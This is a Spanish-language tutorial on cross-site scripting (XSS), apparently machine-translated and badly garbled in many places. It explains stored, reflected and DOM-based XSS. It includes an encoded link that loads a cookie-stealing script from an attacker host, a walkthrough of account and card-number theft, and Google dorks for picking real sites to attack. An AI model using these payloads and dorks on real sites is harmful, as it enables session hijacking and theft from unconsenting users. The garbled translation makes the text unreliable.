Formación de ataque XSS. Vulnerabilidad XSS - ¿Qué es? Ejemplos de vulnerabilidades XSS. Datos de formularios llenos
Intersype Scripting (XSS) es una vulnerabilidad que es para implementar el código ejecutable en el lado del cliente (JavaScript) en la página web que se presentan a otros usuarios.
La vulnerabilidad surge debido a un filtrado de datos insuficiente, que el usuario envía para insertar en una página web. Es mucho más fácil entender ejemplo específico. Recuerda cualquier libro de visitas - Estos son programas que están destinados a aceptar datos del usuario y la pantalla posterior. Imagine que el libro de visitas no compruebe de ninguna manera y no filtra los datos ingresados, sino que simplemente los muestra.
Puedes probar tu propio guión más sencillo (No hay nada más fácil que escribir bad scripts en PHP, esto está muy involucrado en esto). Pero ya hay muchas opciones preparadas. Por ejemplo, propongo iniciar un conocido con Dojo y Owasp Mutillidae II. Hay un ejemplo similar. En el entorno de Dojo independiente, vaya al navegador por referencia: http: //localhost/mutillidae/index.php? Página \u003d Agregar a su blog.php
Si alguien de los usuarios ingresó:
Esa página web se mostrará:
¡Oye! Como tu sitio
Y si el usuario entra en esto:
¡Oye! Como tu sitio
Que se mostrará así:
Los navegadores mantienen un conjunto de galletas. gran número sitios Cada sitio puede obtener galletas solo ahorradas a ellas. Por ejemplo, el sitio web de Ejemplos.com ha conservado algunas cookies en su navegador. Usted es el choque al sitio de otro.com, este sitio (Scripts de cliente y servidor) no puede acceder a las cookies que el sitio web de Ejemplos se ha guardado.
Si el sitio Ejemply.com es vulnerable a XSS, esto significa que podemos, de una manera u otra para implementar el código JavaScript en él, y este código se ejecutará en nombre del sitio Ejemply.com! Esos. Este código recibirá, por ejemplo, el acceso al sitio de Cookis Site Ejemplo.com.
Creo que todos recuerdan que JavaScript se ejecuta en los navegadores de usuarios, es decir. Con la presencia de XSS, incrustada. código malicioso Obtiene acceso a los datos de usuario que abrieron la página del sitio web.
El código incrustado es capaz de todo lo que JavaScript Can, a saber:
- acceso a las cookies del sitio visto.
- puede hacer cualquier cambio en apariencia páginas
- acceso al búfer de intercambio.
- puede implementar programas en JavaScript, por ejemplo, ki-loggers (interceptores clave empujados)
- toque en la carne.
- y etc.
El ejemplo más simple Con Cookiz:
De hecho, alerta. Se utiliza solo para detectar XSS. Real Malware Payloads ACCIONES OCULTADAS. Está oculto se une a un servidor de intrusos remoto y transmite datos robados en él.
Tipos de XSS.
Lo más importante es que necesite entender sobre los tipos de XSS lo que suceden:
- Almacenado (constante)
- Reflejado (no permanente)
Ejemplo de permanente:
- Un atacante introdujo un mensaje formado especialmente al libro de visitas (comentarios, mensaje de foro, perfil) que se almacena en el servidor, cargado desde el servidor cada vez que los usuarios solicitan la visualización de esta página.
- El atacante recibió acceso a los datos del servidor, por ejemplo, a través de la inyección de SQL e introducida en los datos llamados por el usuario para el código de JavaScript malicioso (con los registradores de ki o con la carne de res).
Muestra de no permanente:
- El sitio tiene una búsqueda, que, junto con los resultados de búsqueda, muestra algo como "Estaba buscando: [Cadena de búsqueda]", mientras que los datos no se filtran correctamente. Dado que una página de este tipo se muestra solo para tener un enlace a él, mientras que el atacante no enviará el enlace a otros usuarios del sitio, el ataque no funcionará. En lugar de enviar una referencia a la víctima, puede usar la colocación de un guión malicioso en un sitio neutral que visita la víctima.
Todavía se destacan (algunos como una especie de vulnerabilidades de XSS no permanentes, algunos dicen que esta especie puede ser una variedad de XSS constante):
- Modelo DOM
Características XSS basadas en DOM
Si es completamente simple, el código malicioso "ordinario" no permanezca XSS se puede ver si abre el código HTML. Por ejemplo, el enlace se forma de esta manera:
Http://example.com/search.php?q\u003d "/\u003e
Y al abrir el código HTML original, vemos algo como esto:
Y DOM XSS está cambiando la estructura DOM que se forma en el navegador sobre la marcha y vea el código malicioso solo podemos al ver la estructura de DOM formada. HTML no cambia. Tomemos este código, por ejemplo:
Que en el navegador veremos:
Código fuente de la página:
Vamos a formar la dirección de la siguiente manera:
Http: //localhost/tests/xss/dom_xss.html#Input\u003dtokenalex.;
Ahora la página se ve así:
Pero miremos fuente HTML:
No hubo absolutamente nada cambiado. Sobre esto, dije, necesitamos ver el documento de la estructura dom para identificar el código malicioso:
Aquí hay un prototipo de trabajo XSS, para un ataque real, necesitamos una carga útil más compleja que sea imposible debido al hecho de que la aplicación deja de leer inmediatamente después de un punto con una coma, y \u200b\u200balgo así como alerta (1); alerta (2) Ya no es posible. Sin embargo, gracias a insensape () En los datos devueltos, podemos usar la carga útil como esta:
Http: //localhost/tests/xss/dom_xss.html#Input\u003dtokenalex.;
Donde reemplazamos el símbolo ; ¡En el equivalente codificado en la URI!
Ahora podemos escribir un malware de JavaScript y hacer un enlace para enviar a la víctima, como se realiza para obtener secuencias de comandos estándar no permanentes.
Auditor XSS
EN Google Chrome. (así como en la ópera, que ahora usa el motor de Google Chrome), estaba esperando tal sorpresa:
dom_xss.html: 30 El auditor XSS se negó a ejecutar un script en "http: //localhost/tests/xss/dom_xss.html#input\u003dtoken \u003cscript\u003e alerta (1)"Porque su código fuente se encontró dentro de la solicitud. El auditor se habilitó a medida que el servidor no envió un encabezado" X-XSS-Protection "ni" Content-Security-Política-Política ".
Esos. Ahora, en el navegador hay un auditor XSS que intentará prevenir XSS. No hay tal funcionalidad en Firefox, pero creo que esta es una cuestión de tiempo. Si la implementación en los navegadores tendrá éxito, entonces podemos hablar de una dificultad significativa de usar XSS.
Es útil recordar que navegadores modernos Tome medidas para limitar el nivel de operación de problemas como XSS no permanentes y se basa en DOM XSS. Incluirlo es necesario recordar al probar los sitios web que utilizan un navegador, puede ser que la aplicación web sea vulnerable, pero no ve una confirmación emergente por la razón de que el navegador lo bloquea.
Ejemplos de explotación XSS.
Los maleferentes, con la intención de usar las vulnerabilidades de scripts de intersitio, deben acercarse a cada clase de vulnerabilidades de diferentes maneras. Aquí se describen los vectores de los ataques por cada clase.
Con las vulnerabilidades XSS, la carne se puede usar en ataques, que amplía el ataque desde el sitio web al entorno local de los usuarios.
Ejemplo de ataque con XSS no permanente.
1. Alice a menudo visita un sitio web específico que alberga a Bob. El sitio web de Bob permite a Alicia iniciar sesión con el nombre del usuario / contraseña y ahorrar datos confidenciales, como la información de pago. Cuando el usuario ejerce la entrada, el navegador conserva las cookies de autorización que se parecen a caracteres sin sentido, es decir, Ambas computadoras (cliente y servidor) recuerdan que ingresó.
2. Maláticas señala que el sitio web de Bob contiene vulnerabilidad XSS no permanente:
2.1 Al visitar la página de búsqueda, ingresamos una línea para buscar y hacer clic en el botón Enviar si no se encuentran los resultados, la página muestra la cadena de búsqueda ingresada, seguida de las palabras "no encontradas" y la URL http://bobsssite.org?q\u003dyu consulta de busqueda
2.2 Con una consulta de búsqueda normal como la palabra " perrito»Página simplemente se muestra" perrito No encontrado "y URL http://bobssites.org?q\u003d perrito¿Cuál es el comportamiento bastante normal?
2.3 Sin embargo, cuando se envía una consulta anormal búsqueda a la búsqueda :
2.3.1 Aparece un mensaje de advertencia (que dice "XSS").
2.3.2 PAGADAS PAYAS extraviado Junto con un mensaje de error con el texto "XSS".
2.3.3 URL Adecuado para la operación http://bobssites.org?q\u003d.
3. Los malogros diseña la URL para operar la vulnerabilidad:
3.1 Ella hace URL http://bobsssite.org?q\u003dpuppies. . Puede elegir convertir los caracteres ASCII en un formato hexadecimal, como http://bobssite.org?q\u003dpuppies%3cscript%2520src%3d%22http%3a%2f%2fmallororysevilsite.com%2fauthstealer.js%22%3e. Para que las personas puedan descifrar inmediatamente una URL maliciosa.
3.2 Ella envía un correo electrónico a algún miembro desprevenido del sitio Bob, diciendo: "Echa un vistazo a los perros geniales".
4. Alice recibe una carta. A ella ama a los perros y hace clic en el enlace. Ella va al sitio Bob en la búsqueda, ella no encuentra nada, muestra los "perros que no se encuentran", y en el centro de la etiqueta, la etiqueta se inicia con un script (es invisible en la pantalla), carga y ejecuta el programa Malory AuthStealer.js (ataque XSS). Alice se olvida de ello.
5. El programa AuthStealer.js comienza en el navegador de Alice como si su origen es el sitio web de Bob. Captura una copia de las cookies de autorización de Alice y envía al servidor Malory, donde los maldiciones los eliminan.
7. Ahora que las malorias adentro, se dirige al sitio web del sitio web, se ve y roba una copia del número de tarjeta de crédito de Alice. Luego ella va y cambia la contraseña, es decir,. Ahora Alice ni siquiera puede ir.
8. Ella decide tomar el siguiente paso y envía una referencia a Bob mismo de manera similar de manera similar, y por lo tanto obtiene privilegios administrativos del sitio de Bob.
Ataque con XSS constante.
- Malories tiene una cuenta en el sitio Bob.
- Malory señala que el sitio web de Bob contiene una vulnerabilidad XSS constante. Si vas a nueva sección, Coloque un comentario, luego muestra que no se imprimiría. Pero si el texto del comentario contiene etiquetas HTML, estas etiquetas se mostrarán como es, y se inicie cualquier etiqueta de secuencias de comandos.
- Malory lee un artículo en la sección de noticias y escribe un comentario en la sección de comentarios. En el comentario, inserta el texto:
- En esta historia me gustaron tanto los perros. ¡Son muy agradables!
- Cuando Alice (o cualquier otra persona) descargue la página con este comentario, la etiqueta de la secuencia de comandos Malory se inicia y roba los cocineros de autorización de Alice, envía Malory al servidor secreto para recopilar.
- Los malorros ahora pueden interceptar la sesión de Alice y entregarse a Alice.
Sitios de búsqueda vulnerables a XSS
Dorki para XSS.
El primer paso es la elección de los sitios en los que realizaremos ataques XSS. Los sitios se pueden firmar utilizando Google Dorkov. Aquí hay algunas de estas distancias que copian y pegan en la búsqueda de Google:
- inurl: búsqueda.php? q \u003d
- inurl: .php? q \u003d
- inurl: Search.php.
- inurl: .php? buscar \u003d
Antes de nosotros abriremos una lista de sitios. Debe abrir el sitio y encontrar los campos de entrada en él, como el formulario de comentarios, el formulario de entrada, la búsqueda del sitio, etc.
Inmediatamente observé que es casi inútil buscar vulnerabilidades en aplicaciones web populares actualizadas automáticamente. El ejemplo clásico de tal aplicación es WordPress. De hecho, las vulnerabilidades en WordPress, y especialmente en sus complementos, hay. Además, hay muchos sitios que no están actualizados. motor de WordPress (Debido al hecho de que un webmaster hizo algunos cambios en el código fuente), ni los complementos y temas (como regla general, estos son complementos y temas pirateados). Pero si lees esta sección y reconoce algo nuevo de él, entonces WordPress aún no está por ti ... definitivamente regresaré a él más tarde.
Los mejores objetivos son una variedad de motores y guiones autoconshombrados.
Puedes elegir como una carga útil para la inserción.
Preste atención a la que los códigos del Código HTML caen su código incorporado. Aquí hay un ejemplo de un campo de entrada de campo típico ( aporte):
Nuestra carga útil irá a donde se encuentra la palabra "funda de almohada". Esos. convertirse en etiqueta aporte. Podemos evitar esto, cerca de una cotización doble, y luego la etiqueta con "/>
"/>
Proprendemosla por algunos sitios:
Excelente vulnerabilidad
Programas para búsqueda y escaneo Vulnerabilidad XSS
Probablemente todos los escáneres de aplicaciones web tienen un escáner de vulnerabilidad XSS incorporado. Este tema está awkhanging, es mejor familiarizarse con cada escáner de este tipo por separado.
Scripts de sitio cruzado (XSS abreviado) es una vulnerabilidad generalizada que afecta a muchas aplicaciones web. Permite a un atacante implementar un código malicioso en un sitio web de tal manera que el navegador de usuario que ingrese al sitio ejecute este código.
Por lo general, se requiere una cierta interacción con el usuario para operar esta vulnerabilidad: ya sea atraída a un sitio infectado con ingeniería social, o simplemente esperando hasta que él mismo visite este sitio. Por lo tanto, los desarrolladores a menudo no se perciben seriamente XS-Vulnerabilidad.
Pero si no son eliminados, puede ser una grave amenaza de seguridad.
Imagínese que estamos en el panel de administración de WordPress, agregue nuevo contenido. Si usamos un complemento vulnerable a XSS, puede hacer que el navegador cree un nuevo administrador, modifique el contenido y realice otras acciones maliciosas. Scripting cruzado proporciona a un atacante con un control casi completo sobre lo más importante software Hoy en día - navegador.
XSS: Vulnerabilidad de la inyección
Cualquier sitio web o aplicación tiene varios sitios de entrada de datos, formulan a la URL en sí. El ejemplo más simple de los datos de entrada es cuando entramos en el nombre de usuario y la contraseña:
Nuestro nombre se almacenará en la base de datos del sitio para una interacción posterior con nosotros. Seguramente, cuando pasaste la autorización en cualquier sitio, viste un saludo personal al estilo de "Bienvenido, Ilya".
Es para fines tales que los nombres de usuario se almacenan en la base de datos.
La inyección se denomina procedimiento cuando, en lugar de un nombre o contraseña, una secuencia especial de símbolos que hace que el servidor o un navegador responda a ciertos, se ingresa el atacante deseado.
Un script de Intersight se llama inyección que implementa el código que realizará acciones en el navegador en nombre del sitio web. Puede ocurrir tanto con la notificación del usuario como en modo de fondo, sin su conocimiento.
Ataques tradicionales XSS:
Reflejado (no permanente).
El ataque XSS reflejado se activa cuando el usuario va a un enlace especialmente preparado.
Estas vulnerabilidades aparecen cuando los datos proporcionados por el cliente web se encuentran con mayor frecuencia en los parámetros de la consulta HTTP o en forma de HTML se ejecutan directamente por scripts de servidor a análisis sintáctico y visualizar la página de resultados de este cliente, sin procesamiento adecuado.
Almacenado (constante).
Los XS almacenados son posibles cuando un atacante logra implementar un código malicioso en el servidor, ejecutándose en el navegador cada vez que accede a la página original. El ejemplo clásico de esta vulnerabilidad son foros en los que se le permite dejar comentarios en formato HTML.
Vulnerabilidades causadas por el código en el lado del cliente (JavaScript, Visual Basic, Flash, etc.):
También conocidos como modelos DOM:
Reflejado (no permanente).
Lo mismo que en el caso del lado del servidor, solo en este caso, el ataque es posible debido al hecho de que el código es procesado por el navegador.
Almacenado (constante).
Similar al almacenamiento de XSS en el lado del servidor, solo en este caso, el componente malicioso se guarda en el lado del cliente con el almacenamiento del navegador.
Ejemplos de vulnerabilidades XSS.
Curiosamente, en la mayoría de los casos, esta vulnerabilidad se describe, estamos asustados por el siguiente código:
Http://www.site.com/page.php?var\u003d
Hay dos tipos de vulnerabilidades XSS, pasivas y activas.
Vulnerabilidad activa Más peligroso, como un atacante no necesita atraer el sacrificio en un enlace especial, es suficiente para él implementar el código en la base o en algún archivo en el servidor. Por lo tanto, todos los visitantes del sitio se convierten automáticamente a las víctimas. Puede integrarse, por ejemplo, al incrustar el código SQL (inyección de SQL). Por lo tanto, no debe confiar en los datos almacenados en la base de datos, incluso si en el inserto se procesaron.
Ejemplo vulnerabilidad pasiva Puedes ver al principio del artículo. Ya hay ingeniería social, por ejemplo, una carta importante de la administración del sitio que le pide que verifique la configuración de su cuenta, después de la recuperación de la copia de seguridad. En consecuencia, debe conocer la dirección de la víctima o simplemente organizar un boletín de noticias de spam o colocar una publicación en algún foro, y aún no el hecho de que las víctimas sean ingenuas y vaya a su enlace.
Además, las vulnerabilidades pasivas pueden estar sujetas a la publicación y obtener parámetros. Con los parámetros posteriores, se entenderá, tendrá que ir en trucos. Por ejemplo, redirección del sitio del intruso.